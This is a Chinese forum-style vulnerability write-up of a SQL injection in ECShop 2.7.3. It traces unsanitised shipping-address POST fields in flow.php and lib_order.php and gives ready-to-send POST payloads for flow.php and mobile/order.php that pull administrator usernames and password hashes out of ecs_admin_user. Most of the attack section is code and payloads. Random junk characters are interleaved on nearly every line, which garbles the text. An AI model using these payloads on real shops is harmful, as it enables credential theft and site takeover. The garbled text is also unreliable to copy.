前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
- f$ l! }2 L9 b% ]6 F+ u6 T5 Q0 n% o7 [( u5 L8 }; I/ J
漏洞关键文件:
. G' y% y) t) @: R% |! b' t9 a' w& O, W" D) K
/includes/lib_order.php. _; T. J1 y) P8 _; o5 s4 X/ g
8 Z6 L% \( x( z- w- x6 R: I/ k 关键函数:
( [$ s$ m/ v1 m/ H% [3 |3 h0 |; J. Z3 k7 F& }! `/ n
8 E1 ^6 `9 m d% k8 H3 [
m+ R7 [8 b* U5 K' }" u
01 function available_shipping_list($region_id_list) # E: j+ j( w& d& \5 x
. p7 N+ I: u: X3 V02 { 6 o& b! {9 X. y# b, j1 m a" Z' g5 f
* z/ P- N: }8 Q03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
9 o3 x! P$ b7 M& y. n+ ]% `% t+ g' }; c
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
Z2 y) M" f0 f
+ y& O4 k2 U) @' ` ]05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . - o9 k9 |7 q7 l% C: M* g: d3 M
/ w0 k7 P$ Z5 d l$ j( u1 m06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
( V& P2 u9 I* J4 A7 t9 \/ B0 w# v {5 ]9 R2 N" W: S+ F1 o
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
5 u6 t) g* B( X& P4 s
3 @. \$ u8 @: w- A" O- Q08 'WHERE r.region_id ' . db_create_in($region_id_list) . ) z/ O6 w7 P) {2 Y- {9 q
% c# V+ n# m* y- j0 t" g( Q; X09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
& O4 Q) R! O+ H" z$ A( y: V
3 R3 y( q) q1 `6 b- o10
! y J! W3 u% _) o2 L9 D% E) b3 g* X9 A& G; q# {
11 return $GLOBALS['db']->getAll($sql);
% A% E! I( g$ o# ?+ c& J
' }! x+ @3 w! t' f12 } 0 }# C. P9 J( x2 U3 a
/ [; a y# Y' B9 E显然对传入的参数没有任何过滤就带入了查询语句。
, F1 o1 g" r9 H) {- t/ R/ Q
: f0 V9 r+ \: d. \下面我们追踪这个函数在flow.php中:! o% P, w9 t) K. j% `; @
第531行: ( G0 M6 E/ l! b
# Q+ b& k8 p3 V: C& F1 $shipping_list = available_shipping_list($region);
/ h3 V2 V! k) W" J% f
( I* C J/ [- c n) W% P/ r, g
( u C' L4 Z6 X/ w' N( [( ?# P c: T" B# x
# U9 H9 K+ j& j7 \) u$ u
4 R- A8 B" F, F再对传入变量进行追踪:
5 ~: J6 }2 }" |8 B4 x8 {1 h8 E7 h/ G
第530行: ) w" l5 ^& f: R) u& k& }% o
$ @( q+ q, `5 T2 t }1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
* b ^: K" Z I# a4 e3 O6 [7 }4 u6 X1 _5 v* ]9 ]2 N% T7 R/ c( A
$ M& |/ E/ ~5 \6 {5 N' L! l) N
/ s( G, G$ D+ F6 C: L3 U9 U% O + `6 Q. V) A+ r7 _0 X* d
; U$ E& j) G6 k8 C2 i- h
第473行: 1 }* d( n6 G( d9 l+ k' H
+ j- r9 e4 ^! x: V6 |5 s
1 $consignee = get_consignee($_SESSION['user_id']); * L Q2 i0 C9 Z( r: c2 h
" o5 `# z$ Q9 i' b( }+ O6 l, o& X
到了一个关键函数:5 t5 O! _* A; G9 k& j* p K6 G
3 [1 c# n _; v0 i+ l+ g/ f: }$ F/includes/lib_order.php
9 j7 M" H" n, m
, L/ t$ t6 ?% C! W1 q3 a- j # f7 W6 u3 d U6 G
9 I, m# g9 Q4 w+ z% _' Q3 @8 E . c2 {' Z) m, P2 e% Y1 J8 D" n6 z
1 b+ @# w, g* R/ N- Z: U. `
01 function get_consignee($user_id)
: F9 y4 o T) H6 L# }# }$ Y! G r2 z- ]: d' v: r: V
02 { $ ~( P6 h& u( j' j+ w
- B5 X) ^" w6 x* x6 M/ Y
03 if (isset($_SESSION['flow_consignee']))
+ p# c n3 V& ~; V# E* Q5 R
' m- R. y/ |) b3 i! _' T: i1 V04 {
, C# `. k/ A* @- _- B e5 J3 Y
& n4 x2 Y5 ^% d( ?0 i% l05 /* 如果存在session,则直接返回session中的收货人信息 */ - v' G, X ?- \1 j+ K4 t+ t# a
2 J/ X6 e$ X% [# c- R# c" D
06 + E) e; | p+ a1 p3 p; n3 H z
: u$ V$ [0 t- i( b2 F
07 return $_SESSION['flow_consignee']; % \9 G( ~- Y5 u9 z
; b# Z: X& t: n: a08 }
9 S& |, K* b( e- f1 u* m* O( b, m2 B; T/ V. b/ V
09 else 5 E: n! A n( Y+ k- t
7 r' F. |/ U" E7 Y10 {
2 {5 D$ J" r9 ]3 M! @2 r2 O" T) s, r0 c: ?% C1 {, c
11 /* 如果不存在,则取得用户的默认收货人信息 */
- n0 y: |0 p$ U) P
, I$ C+ \2 i. s7 B8 S12 $arr = array();
, O3 [' A6 v" u: n" g' b) ]4 m* ~2 ^' g, l/ C9 y" W3 ^
13
- p7 l7 h( v8 P" L2 F, C1 S* r8 G/ a1 @% H5 A- o* n6 G% Q% s
14 if ($user_id > 0) 8 L( K: z: _- D' z, a8 i3 A# ~! V
, [! l3 g: [: ]15 { ' c9 n+ ] |0 k" o. H; X7 g) U
; I$ b, B# q" K% W16 /* 取默认地址 */ ! I3 A |' y/ M" V
9 t4 Q; D- @# P$ v5 R% @0 r
17 $sql = "SELECT ua.*".
4 o, ?8 K3 @3 C
0 s8 E7 L) v) A% ~18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. - C+ x6 j9 M/ u4 v8 ]. ^
$ o0 o5 j. D( u' u( W
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ( ~# e2 k I- `1 \" j% z
, s& Q t5 a. r8 ~
20
. \! e% r7 z& b+ i: ~) E) M- i, u0 W0 ?; e1 t% w9 J
21 $arr = $GLOBALS['db']->getRow($sql);
- ~8 f, Y* m$ @' J0 H' Q3 D( J _) T5 _0 f. g+ w$ |$ a
22 }
$ c0 {6 p& _) N/ M4 ^/ ~, p9 _- g8 M" U) M) i+ c* R
23 9 R% v6 j' H' B" Q9 B! E1 T
5 c: X5 @3 B- k/ I, X7 n& v4 m24 return $arr;
7 L, j! [$ S* v
0 s+ |0 N2 \) T# ^& @25 } / R7 X, ?) @& c) j" J
3 _1 I1 o' w& w( T- ^% T: ]8 v26 } , O3 N' I. e5 d7 n
4 @! [# E# }+ u# T) r% X8 f; i5 v
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?. M) Y& q, Q7 _7 e4 a. T& M8 n
& q" ?$ ?- U1 l/ k/ q2 H
6 y* I3 [: k7 _" r) Z& ]2 A3 g# ~' K2 m
2 F, p3 U r1 P) Z/ \0 p8 S关键点:/ X+ ]! l: o% c/ K3 h1 c" L, J; m6 C
8 [. p: k" W P A& z! `
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 j3 i5 A4 C& R
# w. U0 R" u+ w0 x这里对传入参数反转义存入$_SESSION中。! \4 ?* r, }; J! J( W, d
- d/ S* r: p+ B% u; l : r- J2 R: \5 B" r6 N- x, o" M
& @% o* Y. r1 ` }1 |
然后看下:4 ?* n# C* a" W4 P, s
* n; n" }# ~3 g7 z. C- b3 [- J5 ]
! R; J7 c. }$ _) c
1 k8 w) F5 [+ F1 F
# @. f# ?* W4 d9 q7 D2 E$ J S2 l
% R* W# W' v% f4 e01 $consignee = array( 6 h6 D: f1 U' t3 H3 ], G+ ]1 ?
/ f5 P' p/ }' |3 P+ _+ E! a! u
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ! i1 X6 z% X1 _8 o
; X8 M3 i: G7 n* n/ }2 w5 Z03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
1 F- l& F4 L: t; a/ U# j! \9 P. p0 @. L
04 'country' => empty($_POST['country']) ? '' _POST['country'],
+ A3 |9 j; x3 w8 }. K& d$ a) d3 u# s0 P/ I# H
05 'province' => empty($_POST['province']) ? '' _POST['province'],
% G) d- Q y( w
: p" r7 X: C* v( j _ D7 T06 'city' => empty($_POST['city']) ? '' _POST['city'], ' l) |# H9 I, O
6 Y1 b0 M% ^; o/ C0 ^- U4 {. g
07 'district' => empty($_POST['district']) ? '' _POST['district'], - t: t+ _* P! d$ d" \ v
' r9 E$ ^/ p; f& Z08 'email' => empty($_POST['email']) ? '' _POST['email'],
5 O% c- d3 F. \. o8 l4 X
. m& G7 j ^0 e8 w. i5 p09 'address' => empty($_POST['address']) ? '' _POST['address'],
( X+ C; X0 p2 p* k s) w3 }. A
/ j" I8 Z1 D: C5 r A; Z& M6 d: |10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
+ c7 W# Q' V) [0 W
4 R' ~: l) G: h# n11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
+ l! M, `( D$ ~& G$ x% E' |! c3 }
+ g: ?0 ^/ F% _3 g9 _. }. k/ _: k12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
3 |/ G8 k( W! x- }) {) m/ O6 A/ w) q
, R4 G6 y0 o* h1 F13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], % \1 T+ z( K6 V5 s
0 r2 n' ]; V( Z& J! Z T14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], + G4 V* ~% R$ ?5 T" q2 L
/ w: W1 Q/ M% ]$ U
15 );
6 K+ K4 ]. A/ `' O! i( g% g5 y/ i6 o3 W/ ^
好了注入就这样出现了。
( ?7 q8 [9 x) f- C2 Q
/ F8 {( F$ I. f==================* n' x2 X" a9 U' a8 w
5 U! ?# }, m/ Z注入测试: S, ^+ T0 Y+ \# q
& A) x8 f1 a' b$ t9 W2 \3 C环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)2 F: v( A3 ^$ H# S! q4 `! t4 s+ @
$ Y6 \% U) V' L4 n" d
测试程序:ECShop_V2.7.3_UTF8_release11066 W% D$ I: b3 e& i) c; d
6 B) m5 W/ Q2 Z6 G8 F* |; U, P6 L4 o
6 Q0 P( M. v' i/ n8 ]' n% }3 ?7 N: q4 l7 V
1.首先需要点击一个商品加入购物车8 J0 F+ S4 f$ S, J! _
7 S v6 G7 k4 S
2.注册一个会员帐号
, z2 G/ ]' _1 ?1 L d7 f) ]
1 q2 A. f2 y3 Z3.post提交数据
. N" `% t( m$ S" V0 }) m
, {* y2 T6 [6 ]4 z, u . \; ^- [5 H" S% t
0 T; R- J% c3 ~& R5 D6 p1 http://127.0.0.1/ecshop/flow.php
9 M: X& C0 j; B1 y0 K. w) k3 @/ r* u0 W( ~+ K5 y* [
2
" p7 _: h6 c' T2 d, K* L" C7 C+ d: x% b$ i( x$ S1 K/ ]! C+ w
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= - t# s: B# s8 p
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
* }' x! ?- a1 y4 g0 _( Q6 [$ [
) h) r' q6 Y$ v" x7 G) @我们搜寻关键函数function available_shipping_list()
& y5 G* H+ N. G5 i
+ |# O( _5 O0 a! ~" _% ]( e4 k在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同* `/ t6 T& L' K- \+ {' ?. D
' d$ H- Q# w8 r: v& O' L& Y- Q7 X0 h利用exp:3 p) r7 h8 f5 R# [# C, ?
* t. r$ R% _9 N3 ^* J0 h+ M# T1.点击一个商品,点击购买商标
+ J1 d" ?$ l/ D1 U% D4 b& m8 n G- G
2.登录会员帐号0 F [1 L- A: x# ]! o2 j
5 E0 A% J3 K$ ]' L% y( [* ]4 J
3.post提交:# O7 l3 f+ E- F! ?1 M: t/ Y
- c1 a0 s" S, H. Y2 X% {& l
http://127.0.0.1/ecshop/mobile/order.php
, `8 N( N2 ]6 p& Q
% Q0 i; F" n* m: s4 }+ y 3 U# b% ]8 ~/ B7 H, x
6 @' Z$ }6 t. \6 B2 a: q( ?. Ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=/ l/ x( B- Y* t. H1 b4 y3 T# `8 L
1 R! m) C$ t* Q" N) ~8 L
|